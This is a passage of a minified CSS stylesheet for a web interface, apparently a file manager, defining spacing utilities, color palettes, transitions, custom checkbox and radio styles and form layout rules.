ght:25px;}.mb-25{margin-bottom:25px;}.ml-25{margin-left:25px;}.mt-30{margin-top:30px;}.mr-30{margin-right:30px;}.mb-30{margin-bottom:30px;}.ml-30{margin-left:30px;}.mt-35{margin-top:35px;}.mr-35{margin-right:35px;}.mb-35{margin-bottom:35px;}.ml-35{margin-left:35px;}.mt-40{margin-top:40px;}.mr-40{margin-right:40px;}.mb-40{margin-bottom:40px;}.ml-40{margin-left:40px;}.mt-45{margin-top:45px;}.mr-45{margin-right:45px;}.mb-45{margin-bottom:45px;}.ml-45{margin-left:45px;}.mt-50{margin-top:50px;}.mr-50{margin-right:50px;}.mb-50{margin-bottom:50px;}.ml-50{margin-left:50px;}.blue-1{color:#ecf6fd;}.bg-blue-1{background:#ecf6fd;}.bdcolor-blue-1{border-color:#ecf6fd;}.blue-2{color:#d2eafb;}.bg-blue-2{background:#d2eafb;}.bdcolor-blue-2{border-color:#d2eafb;}.blue-3{color:#add8f7;}.bg-blue-3{background:#add8f7;}.bdcolor-blue-3{border-color:#add8f7;}.blue-4{color:#7ec2f3;}.bg-blue-4{background:#7ec2f3;}.bdcolor-blue-4{border-color:#7ec2f3;}.blue-5{color:#49a9ee;}.bg-blue-5{background:#49a9ee;}.bdcolor-blue-5{border-color:#49a9ee;}.blue-6{color:#108ee9;}.bg-blue-6{background:#108ee9;}.bdcolor-blue-6{border-color:#108ee9;}.blue-7{color:#0e77ca;}.bg-blue-7{background:#0e77ca;}.bdcolor-blue-7{border-color:#0e77ca;}.blue-8{color:#0c60aa;}.bg-blue-8{background:#0c60aa;}.bdcolor-blue-8{border-color:#0c60aa;}.blue-9{color:#09488a;}.bg-blue-9{background:#09488a;}.bdcolor-blue-9{border-color:#09488a;}.blue-10{color:#073069;}.bg-blue-10{background:#073069;}.bdcolor-blue-10{border-color:#073069;}.purple-1{color:#f4f3fd;}.bg-purple-1{background:#f4f3fd;}.bdcolor-purple-1{border-color:#f4f3fd;}.purple-2{color:#e4e2fa;}.bg-purple-2{background:#e4e2fa;}.bdcolor-purple-2{border-color:#e4e2fa;}.purple-3{color:#cfcaf6;}.bg-purple-3{background:#cfcaf6;}.bdcolor-purple-3{border-color:#cfcaf6;}.purple-4{color:#b3acf2;}.bg-purple-4{background:#b3acf2;}.bdcolor-purple-4{border-color:#b3acf2;}.purple-5{color:#948aec;}.bg-purple-5{background:#948aec;}.bdcolor-purple-5{border-color:#948aec;}.purple-6{color:#7265e6;}.bg-purple-6{background:#7265e6;}.bdcolor-purple-6{border-color:#7265e6;}.purple-7{color:#6252cd;}.bg-purple-7{background:#6252cd;}.bdcolor-purple-7{border-color:#6252cd;}.purple-8{color:#533eb4;}.bg-purple-8{background:#533eb4;}.bdcolor-purple-8{border-color:#533eb4;}.purple-9{color:#42299a;}.bg-purple-9{background:#42299a;}.bdcolor-purple-9{border-color:#42299a;}.purple-10{color:#321580;}.bg-purple-10{background:#321580;}.bdcolor-purple-10{border-color:#321580;}.cyan-1{color:#ebf8f9;}.bg-cyan-1{background:#ebf8f9;}.bdcolor-cyan-1{border-color:#ebf8f9;}.cyan-2{color:#cfedf0;}.bg-cyan-2{background:#cfedf0;}.bdcolor-cyan-2{border-color:#cfedf0;}.cyan-3{color:#a7dfe3;}.bg-cyan-3{background:#a7dfe3;}.bdcolor-cyan-3{border-color:#a7dfe3;}.cyan-4{color:#76cdd3;}.bg-cyan-4{background:#76cdd3;}.bdcolor-cyan-4{border-color:#76cdd3;}.cyan-5{color:#3db8c1;}.bg-cyan-5{background:#3db8c1;}.bdcolor-cyan-5{border-color:#3db8c1;}.cyan-6{color:#00a2ae;}.bg-cyan-6{background:#00a2ae;}.bdcolor-cyan-6{border-color:#00a2ae;}.cyan-7{color:#008997;}.bg-cyan-7{background:#008997;}.bdcolor-cyan-7{border-color:#008997;}.cyan-8{color:#00707f;}.bg-cyan-8{background:#00707f;}.bdcolor-cyan-8{border-color:#00707f;}.cyan-9{color:#005667;}.bg-cyan-9{background:#005667;}.bdcolor-cyan-9{border-color:#005667;}.cyan-10{color:#003c4e;}.bg-cyan-10{background:#003c4e;}.bdcolor-cyan-10{border-color:#003c4e;}.green-1{color:#ebf8f2;}.bg-green-1{background:#ebf8f2;}.bdcolor-green-1{border-color:#ebf8f2;}.green-2{color:#cfefdf;}.bg-green-2{background:#cfefdf;}.bdcolor-green-2{border-color:#cfefdf;}.green-3{color:#a7e1c4;}.bg-green-3{background:#a7e1c4;}.bdcolor-green-3{border-color:#a7e1c4;}.green-4{color:#76d0a3;}.bg-green-4{background:#76d0a3;}.bdcolor-green-4{border-color:#76d0a3;}.green-5{color:#3dbd7d;}.bg-green-5{background:#3dbd7d;}.bdcolor-green-5{border-color:#3dbd7d;}.green-6{color:#00a854;}.bg-green-6{background:#00a854;}.bdcolor-green-6{border-color:#00a854;}.green-7{color:#00924c;}.bg-green-7{background:#00924c;}.bdcolor-green-7{border-color:#00924c;}.green-8{color:#007b43;}.bg-green-8{background:#007b43;}.bdcolor-green-8{border-color:#007b43;}.green-9{color:#00643b;}.bg-green-9{background:#00643b;}.bdcolor-green-9{border-color:#00643b;}.green-10{color:#004c32;}.bg-green-10{background:#004c32;}.bdcolor-green-10{border-color:#004c32;}.pink-1{color:#feeff5;}.bg-pink-1{background:#feeff5;}.bdcolor-pink-1{border-color:#feeff5;}.pink-2{color:#fdd8e7;}.bg-pink-2{background:#fdd8e7;}.bdcolor-pink-2{border-color:#fdd8e7;}.pink-3{color:#fcb8d3;}.bg-pink-3{background:#fcb8d3;}.bdcolor-pink-3{border-color:#fcb8d3;}.pink-4{color:#fa90ba;}.bg-pink-4{background:#fa90ba;}.bdcolor-pink-4{border-color:#fa90ba;}.pink-5{color:#f7629e;}.bg-pink-5{background:#f7629e;}.bdcolor-pink-5{border-color:#f7629e;}.pink-6{color:#f5317f;}.bg-pink-6{background:#f5317f;}.bdcolor-pink-6{border-color:#f5317f;}.pink-7{color:#dc277d;}.bg-pink-7{background:#dc277d;}.bdcolor-pink-7{border-color:#dc277d;}.pink-8{color:#c11c7b;}.bg-pink-8{background:#c11c7b;}.bdcolor-pink-8{border-color:#c11c7b;}.pink-9{color:#a71278;}.bg-pink-9{background:#a71278;}.bdcolor-pink-9{border-color:#a71278;}.pink-10{color:#8c0776;}.bg-pink-10{background:#8c0776;}.bdcolor-pink-10{border-color:#8c0776;}.red-1{color:#fef0ef;}.bg-red-1{background:#fef0ef;}.bdcolor-red-1{border-color:#fef0ef;}.red-2{color:#fcdbd9;}.bg-red-2{background:#fcdbd9;}.bdcolor-red-2{border-color:#fcdbd9;}.red-3{color:#fabeb9;}.bg-red-3{background:#fabeb9;}.bdcolor-red-3{border-color:#fabeb9;}.red-4{color:#f79992;}.bg-red-4{background:#f79992;}.bdcolor-red-4{border-color:#f79992;}.red-5{color:#f46e65;}.bg-red-5{background:#f46e65;}.bdcolor-red-5{border-color:#f46e65;}.red-6{color:#f04134;}.bg-red-6{background:#f04134;}.bdcolor-red-6{border-color:#f04134;}.red-7{color:#d73435;}.bg-red-7{background:#d73435;}.bdcolor-red-7{border-color:#d73435;}.red-8{color:#bd2636;}.bg-red-8{background:#bd2636;}.bdcolor-red-8{border-color:#bd2636;}.red-9{color:#a31837;}.bg-red-9{background:#a31837;}.bdcolor-red-9{border-color:#a31837;}.red-10{color:#880a38;}.bg-red-10{background:#880a38;}.bdcolor-red-10{border-color:#880a38;}.orange-1{color:#fef3eb;}.bg-orange-1{background:#fef3eb;}.bdcolor-orange-1{border-color:#fef3eb;}.orange-2{color:#fde3cf;}.bg-orange-2{background:#fde3cf;}.bdcolor-orange-2{border-color:#fde3cf;}.orange-3{color:#fccca7;}.bg-orange-3{background:#fccca7;}.bdcolor-orange-3{border-color:#fccca7;}.orange-4{color:#faaf76;}.bg-orange-4{background:#faaf76;}.bdcolor-orange-4{border-color:#faaf76;}.orange-5{color:#f78e3d;}.bg-orange-5{background:#f78e3d;}.bdcolor-orange-5{border-color:#f78e3d;}.orange-6{color:#f56a00;}.bg-orange-6{background:#f56a00;}.bdcolor-orange-6{border-color:#f56a00;}.orange-7{color:#d75000;}.bg-orange-7{background:#d75000;}.bdcolor-orange-7{border-color:#d75000;}.orange-8{color:#b93600;}.bg-orange-8{background:#b93600;}.bdcolor-orange-8{border-color:#b93600;}.orange-9{color:#991b00;}.bg-orange-9{background:#991b00;}.bdcolor-orange-9{border-color:#991b00;}.orange-10{color:#7a0000;}.bg-orange-10{background:#7a0000;}.bdcolor-orange-10{border-color:#7a0000;}.yellow-1{color:#fffaeb;}.bg-yellow-1{background:#fffaeb;}.bdcolor-yellow-1{border-color:#fffaeb;}.yellow-2{color:#fff3cf;}.bg-yellow-2{background:#fff3cf;}.bdcolor-yellow-2{border-color:#fff3cf;}.yellow-3{color:#ffe9a7;}.bg-yellow-3{background:#ffe9a7;}.bdcolor-yellow-3{border-color:#ffe9a7;}.yellow-4{color:#ffdd76;}.bg-yellow-4{background:#ffdd76;}.bdcolor-yellow-4{border-color:#ffdd76;}.yellow-5{color:#ffce3d;}.bg-yellow-5{background:#ffce3d;}.bdcolor-yellow-5{border-color:#ffce3d;}.yellow-6{color:#ffbf00;}.bg-yellow-6{background:#ffbf00;}.bdcolor-yellow-6{border-color:#ffbf00;}.yellow-7{color:#e09a00;}.bg-yellow-7{background:#e09a00;}.bdcolor-yellow-7{border-color:#e09a00;}.yellow-8{color:#c17500;}.bg-yellow-8{background:#c17500;}.bdcolor-yellow-8{border-color:#c17500;}.yellow-9{color:#a04f00;}.bg-yellow-9{background:#a04f00;}.bdcolor-yellow-9{border-color:#a04f00;}.yellow-10{color:#802800;}.bg-yellow-10{background:#802800;}.bdcolor-yellow-10{border-color:#802800;}.grey-1{color:#fbfbfb;}.bg-grey-1{background:#fbfbfb;}.bdcolor-grey-1{border-color:#fbfbfb;}.grey-2{color:#f7f7f7;}.bg-grey-2{background:#f7f7f7;}.bdcolor-grey-2{border-color:#f7f7f7;}.grey-3{color:#f5f5f5;}.bg-grey-3{background:#f5f5f5;}.bdcolor-grey-3{border-color:#f5f5f5;}.grey-4{color:#e9e9e9;}.bg-grey-4{background:#e9e9e9;}.bdcolor-grey-4{border-color:#e9e9e9;}.grey-5{color:#d9d9d9;}.bg-grey-5{background:#d9d9d9;}.bdcolor-grey-5{border-color:#d9d9d9;}.grey-6{color:#bfbfbf;}.bg-grey-6{background:#bfbfbf;}.bdcolor-grey-6{border-color:#bfbfbf;}.grey-7{color:#919191;}.bg-grey-7{background:#919191;}.bdcolor-grey-7{border-color:#919191;}.grey-8{color:#5a5a5a;}.bg-grey-8{background:#5a5a5a;}.bdcolor-grey-8{border-color:#5a5a5a;}.grey-9{color:#404040;}.bg-grey-9{background:#404040;}.bdcolor-grey-9{border-color:#404040;}.grey-10{color:#222;}.bg-grey-10{background:#222;}.bdcolor-grey-10{border-color:#222;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.label{font-weight:400;font-size:1em;display:inline-block;}.label.label-blue-deep{background:#1b63ab;color:#fff;}.label.label-blue-nomal{background:#39f;color:#fff;}.label.label-blue-light{background:#d4e9ff;color:#39f;}.label.label-grey-deep{background:#464c5b;color:#fff;}.label.label-grey-nomal{background:#657180;color:#fff;}.label.label-grey-light{background:#9ea7b4;color:#fff;}.label.label-yellow-deep{background:#ff9900;color:#fff;}.label.label-yellow-nomal{background:#ffc267;color:#fff;}.label.label-yellow-light{background:#ffe2b6;color:#ff9900;}.label.label-green-deep{background:#068c49;color:#fff;}.label.label-green-nomal{background:#00cc66;color:#fff;}.label.label-green-light{background:#beffde;color:#068c49;}.cursor-mouse.cursor-default *{cursor:url("../../../images/common/cursor/default.png"), auto !important;}.cursor-mouse.cursor-move *{cursor:url("../../../images/common/cursor/move.png"), auto !important;}.cursor-mouse.cursor-down *{cursor:url("../../../images/common/cursor/down.png"), auto !important;}.cursor-mouse.cursor-add *{cursor:url("../../../images/common/cursor/add.png"), auto !important;}@media screen and (max-width:100000px){input[type="checkbox"].kui-checkbox-ios{ display:none !important;} input[type="checkbox"].kui-checkbox-ios +em{ vertical-align:middle;display:inline-block;margin:0 0.8em 0 0;border:1px solid #ddd;cursor:pointer;border-radius:999px;background-color:#f6f6f6;-webkit-transition:all 0.4s;-moz-transition:all 0.4s;-o-transition:all 0.4s;-ms-transition:all 0.4s;transition:all 0.4s;box-shadow:inset 0 0 0 0px rgba(0,0,0,0.4);} input[type="checkbox"].kui-checkbox-ios +em:after{ float:left;content:'';margin:1px 0 0 1px;width:18px;height:18px;border-radius:inherit;background:#ffffff;-webkit-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-moz-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-o-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-ms-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);transition:all 0.4s cubic-bezier(.54,1.85,.5,1);box-shadow:0 1px 3px rgba(0,0,0,0.4);pointer-events:none;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#64bd63;border:1px solid #64bd63;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ background-color:#ffffff;box-shadow:0px 2px 5px rgba(0,0,0,0.3);} input[type="checkbox"].kui-checkbox-ios.size-smallx +em{ width:20px;height:10px;} input[type="checkbox"].kui-checkbox-ios.size-smallx +em:after{ width:8px;height:8px;} input[type="checkbox"].kui-checkbox-ios.size-smallx:checked +em:after{ margin-left:11px;} input[type="checkbox"].kui-checkbox-ios.size-small +em{ width:30px;height:15px;} input[type="checkbox"].kui-checkbox-ios.size-small +em:after{ width:13px;height:13px;} input[type="checkbox"].kui-checkbox-ios.size-small:checked +em:after{ margin-left:16px;} input[type="checkbox"].kui-checkbox-ios +em{ width:40px;height:20px;} input[type="checkbox"].kui-checkbox-ios +em:after{ width:18px;height:18px;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ margin-left:21px;} input[type="checkbox"].kui-checkbox-ios.size-big +em{ width:50px;height:25px;} input[type="checkbox"].kui-checkbox-ios.size-big +em:after{ width:23px;height:23px;} input[type="checkbox"].kui-checkbox-ios.size-big:checked +em:after{ margin-left:26px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em{ width:80px;height:40px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em:after{ width:38px;height:38px;} input[type="checkbox"].kui-checkbox-ios.size-bigx:checked +em:after{ margin-left:41px;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.red:checked +em{ background-color:#ff5722;border:1px solid #ff5722;box-shadow:inset 0 0 0 10px #ff5722;} input[type="checkbox"].kui-checkbox-ios.blue:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.green:checked +em{ background-color:#64bd63;border:1px solid #64bd63;box-shadow:inset 0 0 0 10px #64bd63;} input[type="checkbox"].kui-checkbox-ios.yellow:checked +em{ background-color:#ffc107;border:1px solid #ffc107;box-shadow:inset 0 0 0 10px #ffc107;} input[type="checkbox"].kui-checkbox-ios.grey:checked +em{ background-color:#aaa;border:1px solid #aaa;box-shadow:inset 0 0 0 10px #aaa;} input[type="checkbox"].kui-checkbox-ios.black:checked +em{ background-color:#444;border:1px solid #444;box-shadow:inset 0 0 0 10px #444;} input[type="checkbox"].kui-checkbox{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;text-align:center;border-radius:10%;display:inline-block;background-clip:padding-box;appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="checkbox"].kui-checkbox:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="checkbox"].kui-checkbox:checked{ background:#1b7e5a;border-color:#1b7e5a !important;} input[type="checkbox"].kui-checkbox:checked:before{ color:#fff;} input[type="checkbox"].kui-checkbox:checked:hover, input[type="checkbox"].kui-checkbox:checked:focus{ box-shadow:none !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#1b7e5a !important;box-shadow:0 0 0 1px #1b7e5a !important;} input[type="checkbox"].kui-checkbox.radius{ border-radius:999px;} input[type="checkbox"].kui-checkbox.size-smallx{ height:16px;font-size:9.6px;width:16px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox.size-smallx:before{ line-height:16px;} input[type="checkbox"].kui-checkbox.size-small{ height:18px;font-size:10.8px;width:18px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox.size-small:before{ line-height:18px;} input[type="checkbox"].kui-checkbox{ height:20px;font-size:12px;width:20px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox:before{ line-height:20px;} input[type="checkbox"].kui-checkbox.size-big{ height:26px;font-size:15.6px;width:26px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox.size-big:before{ line-height:26px;} input[type="checkbox"].kui-checkbox.size-bigx{ height:32px;font-size:19.2px;width:32px !important;margin:0.6em 0.8em 0 0.2em;} input[type="checkbox"].kui-checkbox.size-bigx:before{ line-height:32px;} input[type="checkbox"].kui-checkbox:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="checkbox"].kui-checkbox.red:hover, input[type="checkbox"].kui-checkbox.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="checkbox"].kui-checkbox.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox.blue:hover, input[type="checkbox"].kui-checkbox.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="checkbox"].kui-checkbox.green:hover, input[type="checkbox"].kui-checkbox.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="checkbox"].kui-checkbox.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="checkbox"].kui-checkbox.yellow:hover, input[type="checkbox"].kui-checkbox.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="checkbox"].kui-checkbox.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="checkbox"].kui-checkbox.grey:hover, input[type="checkbox"].kui-checkbox.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="checkbox"].kui-checkbox.black:checked{ background:#444;border-color:#444 !important;} input[type="checkbox"].kui-checkbox.black:hover, input[type="checkbox"].kui-checkbox.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;} input[type="radio"].kui-radio{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;border-radius:999px;display:inline-block;text-align:center;-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;background-clip:padding-box;box-shadow:0 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="radio"].kui-radio:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="radio"].kui-radio:checked:before{ color:#fff;} input[type="radio"].kui-radio:checked:hover, input[type="radio"].kui-radio:checked:focus{ box-shadow:none !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#224 !important;} input[type="radio"].kui-radio.size-smallx{ font-size:9.6px;height:16px;width:16px !important;margin-right:0.8em;} input[type="radio"].kui-radio.size-smallx:before{ line-height:14px;} input[type="radio"].kui-radio.size-small{ font-size:10.8px;height:18px;width:18px !important;margin-right:0.8em;} input[type="radio"].kui-radio.size-small:before{ line-height:16px;} input[type="radio"].kui-radio{ font-size:14.4px;height:24px;width:24px !important;margin-right:0.8em;} input[type="radio"].kui-radio:before{ line-height:22px;} input[type="radio"].kui-radio.size-big{ font-size:15.6px;height:26px;width:26px !important;margin-right:0.8em;} input[type="radio"].kui-radio.size-big:before{ line-height:24px;} input[type="radio"].kui-radio.size-bigx{ font-size:19.2px;height:32px;width:32px !important;margin-right:0.8em;} input[type="radio"].kui-radio.size-bigx:before{ line-height:30px;} input[type="radio"].kui-radio:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="radio"].kui-radio.red:hover, input[type="radio"].kui-radio.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="radio"].kui-radio.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio.blue:hover, input[type="radio"].kui-radio.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="radio"].kui-radio.green:hover, input[type="radio"].kui-radio.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="radio"].kui-radio.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="radio"].kui-radio.yellow:hover, input[type="radio"].kui-radio.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="radio"].kui-radio.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="radio"].kui-radio.grey:hover, input[type="radio"].kui-radio.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="radio"].kui-radio.black:checked{ background:#444;border-color:#444 !important;} input[type="radio"].kui-radio.black:hover, input[type="radio"].kui-radio.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;}}.form-box{color:#444;}.form-box a{color:#5d9cec;text-decoration:none;}.form-box a:hover{color:#4a89dc;}.form-box .panel-body{position:relative;}.form-box .panel-body .line,.form-box .panel-body hr{border:none;height:1px;overflow:hidden;background:#ddd;margin:10px 30px;height:2px;background:transparent url("../../../images/common/line.png") repeat-x 0 0;}.form-box .panel-body h1,.form-box .panel-body h2,.form-box .panel-body h3,.form-box .panel-body h4,.form-box .panel-body h5{margin:0.6em 1em 0.5em 30px;padding-bottom:0.4em;border-bottom:1px solid #ddd;}.form-box.config-box .form-header{height:40px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#efefef', endColorstr='#f5f7fa');background-image:-webkit-linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);background-image:-moz-linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);background-image:-o-linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);background-image:-ms-linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);background-image:linear-gradient(60deg,#efefef 0%,#f5f7fa 100%);-pie-background:linear-gradient(to 60deg,#efefef 0%,#f5f7fa 100%);border-bottom:1px solid #ddd;}.form-box.config-box .form-header .modal-title{height:40px;line-height:40px;padding-left:30px;font-size:14px;}.form-box.config-box .form-header .modal-title img,.form-box.config-box .form-header .modal-title .x-item-file{height:26px;width:26px;line-height:26px;text-align:center;border-radius:15%;display:inline-block;margin-right:10px;padding:0;color:#fff;position:relative;top:8px;}.form-box.config-box .form-header .modal-title img.x-font-icon,.form-box.config-box .form-header .modal-title .x-item-file.x-font-icon{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to 164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));}.form-box.config-box .form-header .modal-title img.font-icon-words,.form-box.config-box .form-header .modal-title .x-item-file.font-icon-words{font-size:10px;}.form-box.config-box .form-header .modal-title i{font-style:normal;}.form-box.config-box .form-header .modal-title img,.form-box.config-box .form-header .modal-title .x-font-icon{top:0px;}.form-box.config-box .panel-body{overflow:auto;border-radius:4px;padding:20px 0;position:absolute;left:0;right:0;top:42px;bottom:71px;margin:0;border:none;background:#fff;}.form-box .form-row{padding:3px 30px;padding-right:5px;width:auto;margin:1px 0;}.form-box .form-row:after{clear:both;}.form-box .form-row.form-group{margin:0;}.form-box .form-row label{margin-right:10px;display:inline;}.form-box .form-row input[type='radio']{display:inline-block;margin-right:10px;}.form-box .form-row input[type='text'],.form-box .form-row input[type='password'],.form-box .form-row input[type='number']{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;display:inline-block;height:28px;width:260px;color:#444;border-radius:4px;padding-left:0.5em;margin-right:10px;}.form-box .form-row input[type='text']:focus,.form-box .form-row input[type='password']:focus,.form-box .form-row input[type='number']:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.form-box .form-row input[type='text']:focus,.form-box .form-row input[type='password']:focus,.form-box .form-row input[type='number']:focus{box-shadow:0 0 0 3px rgba(117,161,240,0.33);}.form-box .form-row select{min-width:268px;}.form-box .form-row textarea{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:251px;height:100px;margin-right:10px;border-radius:2px;padding:8px;transition:none;}.form-box .form-row textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.form-box .form-row textarea:focus{box-shadow:0 0 0 3px rgba(117,161,240,0.33);}.form-box .form-row .setting-title{height:30px;line-height:30px;width:140px;margin-right:20px;padding-top:5px;padding-left:5px;float:left;position:relative;text-align:right;}.form-box .form-row .setting-title .require{color:#ff5722;font-size:20px;position:absolute;margin-top:4px;padding:0 0 0 5px;}.form-box .form-row .setting-content{float:left;position:relative;width:70%;padding:5px;border-radius:4px;border:1px solid transparent;}.form-box .form-row .setting-content input.has-btn-right{width:220px;padding-right:40px;}.form-box .form-row .setting-content .input-btn-right{padding:0;margin-left:-50px;position:absolute;width:35px;height:30px;line-height:30px;border-radius:0 4px 4px 0;}.form-box .form-row .setting-content .input-btn-right .font-icon{font-size:14px;width:20px;padding:0 !important;}.form-box .form-row .setting-content input.has-btn-right:focus + .input-btn-right{border-color:#75a1f0;border-left-color:#c7d5ef;}.form-box .form-row .font-icon{padding:0;}.form-box .form-row .user-select{margin:0.5em 0;}.form-box .form-row.form-userSelect .setting-content{background:#f8fcff;padding:10px 5px;margin-top:-5px;}.form-box .form-row.form-userSelect .desc{margin-top:10px;}.form-box .form-row.error .setting-content{background:#ffefed;border-color:#ffb3ae;}.form-box .form-row.form-color .color-picker-view i{width:20px;height:20px;margin-top:5px;box-shadow:0 0 4px #666;display:inline-block;border-radius:2px;}.form-box .form-row .select2-container{width:270px !important;}.form-box .form-row .slider.slider-horizontal{width:260px;margin-right:20px;height:30px;}.form-box .form-row .slider .tooltip{pointer-events:none;}.form-box .form-row .desc,.form-box .form-row .setting-content i{color:#9ba3af;font-style:normal;}.form-box .ztree.group-list-tree a{border:none;padding-left:3px;}.form-box .ztree.group-list-tree a:hover{border:none;}.form-box .ztree.group-list-tree li a.curSelectedNode{color:#fff;}.form-box .ztree.group-list-tree .sub-menu{float:right;display:none;line-height:20px;padding-right:7px;font-size:1.15em;color:#ddd;}.form-box 